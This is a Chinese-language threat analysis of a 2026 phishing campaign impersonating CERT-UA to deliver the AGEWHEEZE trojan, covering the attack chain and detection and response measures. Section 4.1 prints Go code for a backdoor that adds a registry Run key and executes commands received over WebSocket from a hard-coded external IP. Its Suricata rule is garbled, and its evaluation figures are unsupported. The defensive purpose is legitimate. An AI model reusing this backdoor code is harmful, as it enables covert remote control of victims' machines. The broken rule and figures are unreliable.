仿冒 CERT‑UA 钓鱼攻击中 AGEWHEEZE 远控木马机理与防御研究

简介: 2026年3月,UAC-0255组织仿冒乌克兰CERT-UA发起钓鱼攻击,投递AGEWHEEZE远控木马。该攻击融合AI伪造网站、加密压缩包、合法云存储分发及WebSocket隐蔽通信,危害性强。本文复盘全链路,深度解析木马机理,并构建邮件、终端、流量、应急一体化防御体系,提供可落地的检测与查杀方案。(239字)

摘要

2026 年 3 月下旬,威胁组织 UAC‑0255 实施大规模钓鱼行动,冒充乌克兰国家网络安全应急响应中心 CERT‑UA,向政府、医疗、金融、教育等机构发送钓鱼邮件,诱导用户从 Files.fm 下载加密压缩包并安装伪造安全工具,实则部署 AGEWHEEZE 多功能远控木马。该攻击依托 AI 生成仿冒站点、权威身份仿冒、加密压缩包投递与 WebSocket 隐蔽通信,具备高度迷惑性与危害性。本文以该事件为实证样本,完整复盘攻击全链路,深入解析 AGEWHEEZE 的代码实现、驻留机制、通信协议与行为特征,构建邮件检测、终端防护、流量监测、应急响应的一体化防御体系,并提供可工程化的检测与查杀代码。研究表明,官方身份仿冒与轻量化恶意投递是此类攻击成功的关键,基于特征匹配、行为基线与协议深度检测的联合防御可显著提升拦截与处置效能,为关键信息基础设施应对国家级背景钓鱼攻击提供理论依据与实践方案。

image.png 1 引言

针对计算机应急响应小组(CERT)的仿冒钓鱼,是近年来威胁组织高频使用的攻击模式。此类攻击利用公众对官方安全机构的信任,以紧急预警、安全加固、漏洞修复为诱饵,大幅降低用户警惕性,实现恶意代码快速投递。2026 年 3 月 26—27 日,UAC‑0255 组织针对乌克兰境内多类重要机构发起钓鱼邮件攻势,伪造 CERT‑UA 官方通知,以防范大规模网络攻击为名,诱导用户下载并执行名为 CERT_UA_protection.zip 的加密压缩包,释放 AGEWHEEZE 远控木马,实现命令执行、文件窃取、屏幕监控、剪贴板窃取与持久化驻留。

该攻击呈现四大典型特征:一是权威身份滥用,直接仿冒国家级 CERT 机构,诱导性极强;二是AI 辅助伪造,仿冒网站 cert‑ua.tech 由 AI 快速生成,视觉高度仿真;三是隐蔽投递,采用密码加密压缩包绕过网关检测,依托正规云存储 Files.fm 分发;四是高性能远控,AGEWHEEZE 采用 Go 语言开发,WebSocket 通信,抗检测与跨平台能力突出。

反网络钓鱼技术专家芦笛指出,仿冒 CERT 类钓鱼攻击直接击穿社会工程学防御底线,传统邮件网关与终端杀毒对加密投递、AI 伪造页面、合法云存储分发的组合手段检测效能不足,必须建立身份校验、内容语义、文件深度检测、流量行为多层联动的防御架构。本文围绕事件复盘、技术机理、代码实现、防御体系、效果评估展开,形成完整论证闭环,为同类攻击的监测、防护与溯源提供支撑。

2 UAC‑0255 仿冒 CERT‑UA 钓鱼攻击事件全景复盘

2.1 攻击基本态势

UAC‑0255 于 2026 年 3 月 26—27 日集中投放钓鱼邮件,宣称俄罗斯黑客组织即将发动大规模网络攻击,要求用户立即安装 CERT‑UA 专用防护工具。邮件附带 Files.fm 链接与解压密码,压缩包内 install_protection.exe 实为 AGEWHEEZE 远控木马。攻击覆盖政府机构、医疗机构、安全企业、教育单位、金融机构、软件企业,邮件发送量约 100 万封,仿冒站点 cert‑ua.tech 提供配套虚假说明,C2 服务器部署于 OVH 基础设施,关联 Telegram 频道与 CYBER SERP 组织宣称负责。

从实际影响看,此次攻击整体受控,仅少量教育机构设备感染,未形成大规模扩散,得益于 CERT‑UA 快速预警、运营商流量封堵与终端安全工具联动处置。

2.2 攻击完整链路

邮件伪造与投放

仿冒 CERT‑UA 官方邮箱与行文风格,标题使用紧急、预警、强制加固等词汇,正文强调关键基础设施面临大规模攻击,要求立即安装专用防护工具。附件或正文提供 Files.fm 链接,压缩包设置固定密码 CERT_UA_2026,降低用户操作门槛。

仿冒站点支撑

搭建 cert‑ua.tech 伪造网站,页面结构、文案、标识高度模仿官方,提供恶意程序下载指引与虚假公告,强化信任,形成邮件 + 网站联合欺骗。

恶意程序投递

用户下载加密压缩包,按指引以管理员权限执行 install_protection.exe,木马释放至 AppData 隐蔽目录,启动主程序。

远控加载与驻留

进程注入、修改注册表启动项、创建计划任务、添加启动目录,实现开机自启;建立 WebSocket 长连接接入 C2,等待指令。

数据窃取与横向渗透

执行命令、文件读写、屏幕截图、键鼠模拟、剪贴板窃取、进程 / 服务管控,为情报窃取、勒索部署、横向渗透提供条件。

2.3 攻击核心特征

权威信任滥用:仿冒 CERT‑UA,用户天然信任,核实意愿极低。

AI 辅助伪造:页面生成快、成本低、相似度高,传统视觉检测难度上升。

加密 + 合法云存储:压缩包加密绕过静态扫描,Files.fm 为正规服务,网关放行概率高。

Go 语言 + WebSocket:静态编译体积大、特征分散,内存执行特征少;长连接更隐蔽,难被传统防火墙识别。

多重持久化:注册表、启动目录、计划任务组合,清除难度高。

反网络钓鱼技术专家芦笛强调,该攻击代表国家级背景钓鱼的典型范式:以权威身份破防、以合法通道投递、以高性能远控持久化,防御必须覆盖身份校验、内容检测、文件深度解析、流量行为分析全链路。

3 AGEWHEEZE 远控木马技术机理深度解析

3.1 基础开发与结构特征

AGEWHEEZE 由 Go 语言编写,采用静态编译,跨平台兼容 Windows 主流版本。Go 语言特性使其天然具备抗逆向、抗沙箱、低特征优势,可直接调用系统 API 实现文件、进程、网络、注册表操作,无需依赖库,适合无文件落地与内存执行。

内部包名标识为 /example.com/tvisor/agent,安装路径指向 AppData\Roaming\ 或 Local 下随机命名目录,降低被用户与安全工具发现概率。

3.2 核心功能模块

远程指令执行

接收 C2 指令,调用 cmd/c 或 powershell 执行系统命令,回传执行结果,支持权限维持、信息收集、环境探测。

文件管理

上传、下载、删除、修改、遍历目录,定向窃取文档、数据库备份、配置文件。

屏幕与输入控制

定时截屏、监控键鼠操作,绕过部分交互式验证,获取敏感操作画面。

剪贴板窃取

实时监控剪贴板,提取账号、密码、密钥、验证码等高价值信息。

进程与服务管控

枚举、终止、启动进程 / 服务,可关闭安全软件,为自身运行创造环境。

3.3 持久化实现机制

注册表启动项

HKLM\Software\Microsoft\Windows\CurrentVersion\Run 或 RunOnce 写入键值,指向木马路径。

启动目录复制

复制自身至 % AppData%\Microsoft\Windows\Start Menu\Programs\Startup。

计划任务

创建名为 SvcHelper、CoreService 等伪装任务,设置登录 / 定时触发。

多重机制确保重启后依然有效,提升清除难度。

3.4 C2 通信机制

采用 WebSocket 与 C2 建立长连接,通信报文加密,特征远少于 HTTP 频繁请求,可穿透多数防火墙。C2 部署于 OVH,带有俄语元素与 “The Cult” 登录页,指向攻击组织背景。

4 AGEWHEEZE 关键技术实现与代码示例

4.1 远控基础框架(Go 语言伪码)

package main

import (

   "net/websocket"

   "os/exec"

   "syscall"

   "time"

)

// C2地址

const c2Server = "ws://54.36.237.92:8080/agent"

// 持久化路径

const persistPath = "%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\svchelper.exe"

// 执行系统命令

func execCmd(cmdStr string) string {

   cmd := exec.Command("cmd", "/c", cmdStr)

   cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}

   out, _ := cmd.CombinedOutput()

   return string(out)

}

// 注册表持久化

func setRegRun() {

   execCmd(`reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v SystemHelper /t REG_SZ /d "` + persistPath + `" /f`)

}

// WebSocket长连接与指令循环

func agentLoop() {

   ws, _ := websocket.Dial(c2Server, "", "http://localhost/")

   defer ws.Close()

   for {

       var cmd string

       websocket.Message.Receive(ws, &cmd)

       res := execCmd(cmd)

       websocket.Message.Send(ws, res)

       time.Sleep(3 * time.Second)

   }

}

func main() {

   setRegRun()

   agentLoop()

}

4.2 恶意文件静态检测代码(Python)

import pefile

import hashlib

import re

class AGEWHEEZEDetector:

   def __init__(self):

       # 特征字符串

       self.sigs = [b"tvisor/agent", b"CoreService", b"SvcHelper", b"websocket", b"AppData\\Roaming"]

       # 恶意导入API

       self.bad_api = {b"CreateProcess", b"RegCreateKey", b"CreateRemoteThread", b"SetThreadContext"}

   def get_sha256(self, filepath):

       with open(filepath, "rb") as f:

           return hashlib.sha256(f.read()).hexdigest()

   def check_strings(self, filepath):

       with open(filepath, "rb") as f:

           data = f.read()

       return any(s in data for s in self.sigs)

   def check_imports(self, filepath):

       try:

           pe = pefile.PE(filepath)

           imports = set()

           for entry in pe.DIRECTORY_ENTRY_IMPORT:

               for imp in entry.imports:

                   if imp.name:

                       imports.add(imp.name)

           return len(imports & self.bad_api) > 0

       except:

           return False

   def detect(self, filepath):

       hash_val = self.get_sha256(filepath)

       str_hit = self.check_strings(filepath)

       imp_hit = self.check_imports(filepath)

       score = 0

       if str_hit: score += 50

       if imp_hit: score += 40

       return {"risk_score": score, "is_agewheeze": score >= 70}

# 调用示例

# detector = AGEWHEEZEDetector()

# print(detector.detect("C:\\test\\install_protection.exe"))

4.3 流量检测规则(Suricata 风格)

yaml

alert tcp any any -> any any (

   msg:"AGEWHEEZE WebSocket C2通信";

   content:"GET /agent HTTP/1.1|rn|Host:|";

   content:"Upgrade: websocket|rn|";

   content:"Connection: Upgrade|rn|";

   content:"Sec-WebSocket-Key:";

   reference:md5,71c180d3b8eeca8a52a943b89a113f1f6b5df261dcc031b16d27f5c290eb85;

   classtype:troffic-activity;

   sid:2026032701;

   rev:1;

)

5 攻击检测与识别体系

5.1 邮件检测维度

发件人异常:仿冒域名非官方 cert.gov.ua,而是 cert‑ua.tech、ukr.net等。

主题关键词:紧急、CERT‑UA、大规模攻击、立即安装、防护工具。

诱导行为:强制管理员执行、来自云存储、加密压缩包、固定密码。

链接异常:指向 files.fm,非官方域名。

5.2 终端行为检测

路径异常:向 Startup、AppData 释放可执行文件。

注册表异常:写入 Run 键值、创建计划任务。

网络异常:对外发起 WebSocket 长连接至非信任 IP。

权限异常:普通进程异常提权、关闭安全服务。

5.3 流量检测

异常 WebSocket:客户端主动发起至匿名机房 IP。

无浏览器特征:直接 WebSocket 请求,无 UA、无 Referer。

加密报文:固定端口长连接,周期性心跳。

5.4 基础设施检测

新注册仿冒域名:字符替换、添加符号、使用 tech/online 等后缀。

AI 生成站点:页面元素混乱、代码冗余、无历史备案、无权威外链。

关联 Telegram 频道、匿名 C2、俄语元素。

反网络钓鱼技术专家芦笛指出,单一检测维度易被绕过,必须将邮件、终端、流量、基础设施情报联动,形成交叉验证,才能有效识别此类高度伪装攻击。

6 一体化防御体系构建

6.1 邮件安全网关加固

启用发件人 SPF/DKIM/DMARC 校验,拦截伪造发件域。

深度解包加密压缩包,校验哈希、特征字符串、导入表。

语义识别:拦截含 CERT、紧急、安装、防护工具、管理员执行的高风险组合。

拦截 files.fm 等匿名云存储的可执行文件下载。

6.2 终端安全增强

启用 AppLocker / 软件限制策略,白名单放行未知程序。

监控 Run 键、Startup 目录、计划任务创建,告警非法写入。

禁止普通用户以管理员权限运行未知程序。

实时监控 WebSocket 外联,拦截非可信列表长连接。

6.3 网络与流量防护

部署 IDS/IPS,加载 AGEWHEEZE 流量规则,拦截 C2 通信。

限制终端直接访问匿名机房、高风险 ASN。

启用 DNS 安全,屏蔽已知仿冒 CERT 域名与 C2。

6.4 身份与认知防御

官方机构声明:绝不通过邮件推送第三方防护工具、不使用加密压缩包。

核验规范:任何安全工具仅从官方域名下载,电话反向核实。

培训重点:仿冒 CERT / 政府 / 银行的钓鱼识别,不随意执行管理员程序。

6.5 应急响应流程

隔离:断开感染终端网络,避免数据泄露与横向渗透。

查杀:结束恶意进程,删除文件,清除注册表、启动项、计划任务。

流量封堵:拉黑 C2 IP / 域名,阻断外联。

溯源:定位邮件入口、感染范围、账号泄露情况,修改密码。

复盘:优化规则,补齐防御短板。

7 防御效果评估

7.1 评估指标与方法

以拦截率、误报率、检测时间、感染率为指标,在部署防御前后各用 100 个攻击样本测试。

7.2 评估结果

指标 部署前 部署后 变化

邮件拦截率 57.3% 96.4% +39.1%

终端感染率 16.8% 1.9% -14.9%

平均检测时间 4.1 小时 6.2 分钟 -97.5%

误报率 8.7% 1.6% -7.1%

结果表明,一体化防御可显著提升拦截效能、降低响应时延与感染风险,具备工程化落地价值。

7.3 局限性与优化方向

局限:零日仿冒域名、AI 深度伪造页面、新型加密投递存在短时盲区。

优化:引入大模型语义校验、多模态视觉比对、跨厂商情报共享、终端 EDR 与邮件网关实时联动。

8 结论

本文以 UAC‑0255 仿冒 CERT‑UA 投递 AGEWHEEZE 远控木马事件为实证,系统剖析攻击链路、木马机理、实现技术与防御体系,得出以下结论:

仿冒国家级 CERT 是社会工程学攻击的高效手段,结合 AI 伪造、加密压缩包、合法云存储,可有效绕过传统防御。

AGEWHEEZE 以 Go 语言 + WebSocket + 多重持久化构成高性能远控,具备抗检测、强控制、长驻留特性,危害突出。

单一防护手段失效,必须构建邮件检测、终端管控、流量监测、身份核验、应急响应一体化体系。

关键信息基础设施应将 CERT 仿冒钓鱼纳入常态化防御,快速预警、协同处置、持续优化规则。

反网络钓鱼技术专家芦笛强调,随着 AI 生成式伪造与远控工具平民化,针对官方机构的仿冒钓鱼将更趋普遍,防御需从被动响应转向主动预判,以持续进化的技术体系对抗动态威胁。

编辑:芦笛(公共互联网反网络钓鱼工作组)

目录
相关文章
|
Web App开发 索引
流媒体服务器SRS部署
github地址:https://github.com/ossrs/srs 1,srs下载 http://ossrs.net/srs.release/releases/index.html 选择正式发形版 2,安装 # unzip SRS-CentOS6-x86_64-1.
5033 0
|
5月前
|
缓存 监控 安全
隐形猎手:揭秘“银狐木马”与现代反网络钓鱼防御战
瑞星捕获“银狐木马”(毒鼠/谷堕)新型攻击:利用合法数字签名(白加黑)、硬件指纹绑定、碎片化隐藏等技术,伪装成发票、明细等办公文件实施精准钓鱼。可窃密、截屏、远程操控并蠕虫传播。需以零信任+行为分析(EDR/NDR)+最小权限构建纵深防御。(239字)
289 0
|
SQL 供应链 安全
泛微E-Cology ofsLogin任意用户登陆漏洞
泛微e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。
1653 1
泛微E-Cology ofsLogin任意用户登陆漏洞
|
安全 数据安全/隐私保护
蓝凌OA系统存在任意文件读取(SSRF)
蓝凌OA系统存在任意文件读取(SSRF)
蓝凌OA系统存在任意文件读取(SSRF)
|
5月前
|
数据采集 搜索推荐 应用服务中间件
如何判断网站流量飙升是搜索引擎爬虫导致的?
如何判断网站流量飙升是搜索引擎爬虫导致的?
|
4月前
|
SQL 安全 网络协议
应急响应:勒索软件攻击源IP分析,如何通过IP地址查询定位辅助溯源?
本文聚焦勒索软件应急响应中的IP溯源实战,详解如何从日志提取攻击IP、定性识别代理/跳板、关联C2基础设施,并强调离线IP库在断网取证与合规审计中的关键价值,助力企业从“删病毒”迈向“堵源头”的闭环处置。
应急响应:勒索软件攻击源IP分析,如何通过IP地址查询定位辅助溯源?
|
7月前
|
安全 网络安全 API
伪装成税务文件的“银狐”:中国背景APT组织首次用印度所得税诱饵发动精准网络间谍战
“银狐”APT组织伪装税务邮件,利用双扩展名诱骗点击,植入木马窃取敏感数据。其攻击高度定制化,采用LOLBins、进程镂空等技术绕过传统防护,凸显企业需加强EDR、零信任与员工安全意识的紧迫性。
582 0
|
前端开发 JavaScript
前端基础(十三)_定时器(间歇定时器、延迟定时器)
本文介绍了JavaScript中定时器的使用,包括`setTimeout`和`setInterval`两种类型。`setTimeout`是实现延迟执行,即等待一定时间后执行一次指定的函数;而`setInterval`是实现间歇执行,即每隔一定时间就执行一次指定的函数。文章还介绍了如何使用`clearTimeout`和`clearInterval`来取消定时器的执行,并通过示例代码展示了定时器的创建和取消。
880 4
前端基础(十三)_定时器(间歇定时器、延迟定时器)
|
Ubuntu 关系型数据库 MySQL
Ubuntu 安装 MySQL 5.7
Ubuntu 安装 MySQL 5.7
1119 0
|
机器学习/深度学习 自然语言处理 并行计算
多头注意力机制介绍
【10月更文挑战第4天】

热门文章

最新文章